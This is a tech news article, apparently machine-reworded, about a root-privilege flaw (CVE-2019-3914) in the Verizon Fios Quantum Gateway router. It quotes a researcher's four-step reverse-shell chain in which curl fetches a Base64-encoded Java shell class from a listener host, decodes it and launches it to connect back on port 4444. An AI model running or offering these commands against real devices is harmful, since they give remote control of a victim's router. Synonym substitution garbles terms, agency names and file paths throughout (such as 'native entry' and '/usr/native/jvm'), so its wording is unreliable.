Vulnerability in Verizon Fios Quantum Gateway allows attackers to gain root privileges

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The vulnerability requires native entry to be exploited, although Tenable Analysis claims it may be exploited remotely by the help of social engineering.

Why it’s best to lock down your own home router
Within the age of BYOD your own home community is now a menace vector for hackers focusing on your work gadgets, says CUJO SVP of Networks Marcio Avillez.

A vulnerability in Verizon Fios Quantum Gateway—a Wi-Fi router usually offered to clients of Verizon’s fiber-optic web service—permits attackers to achieve root privileges, with a major quantity of effort. The vulnerability was found by Chris Lyne at Tenable Analysis, and was found alongside a login replay and password salt disclosure vulnerability, the trio of that are designated as CVE-2019-3914, CVE-2019-3915 and CVE-2019-3916.

Gaining root entry on a router can present attackers an entry level to focus on different gadgets on the community, significantly Web of Issues (IoT) gadgets, which frequently lack their very own safety measures. Gaining root entry can be leveraged to seize info transmitted on the community, equivalent to banking credentials. That is significantly regarding in a enterprise setting, the place a malicious celebration gaining root entry to a router may doubtlessly compromise a complete firm’s community.

In April 2018, the Division of Homeland Safety (DHS), Federal Bureau of Investigation (FBI), and the UK’s Nationwide Cyber Safety Centre (NCSC) issued a joint assertion warning of state-sponsored hackers leveraging vulnerabilities in routers, with the highly-publicized Slingshot and VPNFilter malware households found the identical 12 months.

SEE: Securing IoT in your group: 10 finest practices (free PDF) (TechRepublic)

Tenable notes that the Verizon Fios Quantum Gateway was co-developed by Greenwave Techniques on their AXON platform, and that Greenwave and Verizon “[created] a patch in a well timed method.” Verizon began deployment of the patch—model 02.02.00.13—on March 13, and is put in routinely on affected gadgets.

How the exploit works

Surfacing this exploit reveals a substantial amount of safety hardening that Greenwave and Verizon put into the router. Tenable’s full rationalization gives higher element, and potential assault situations—all of which require insider entry, or depend on social engineering to persuade somebody with insider entry to supply adequate element to permit for distant exploitation.

The shell offered when SSH is opened (not a default configuration) is a comparatively restricted model of BusyBox, although the inclusion of a JVM offered a way to add a reverse shell, which is defined briefly right here:

  1. cd /mnt/config
    • First the working listing is modified to the writable /mnt/config listing.
  2. curl http://192.168.1.191:8080/ -o sh_b64
    • Subsequent curl is used to obtain the Base64 encoded Java reverse shell class. It’s saved as a file named ‘sh_b64’. Keep in mind, the listener returns this
  3. base64 -d sh_b64 > ReverseTcpShell.class
    • The ‘sh_b64’ file is Base64 decoded and written as ‘ReverseTcpShell.class’.
  4. /usr/native/jvm/bin/siege ReverseTcpShell 192.168.1.191 4444 &
    • Lastly, the ReverseTcpShell class is launched utilizing the ‘siege’ embedded JVM. This may join again to the Netcat listener at IP 192.168.1.191 listening on TCP port 4444. This course of is backgrounded (&).

Tenable gives the TCP shell Java Code and full exploit code on GitHub, for analysis functions.

For extra on the significance of router safety, take a look at ” Vulnerability in MikroTik RouterOS permits simply exploitable denial of service assault.”

Additionally see

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Picture: iStockphoto/tupungato

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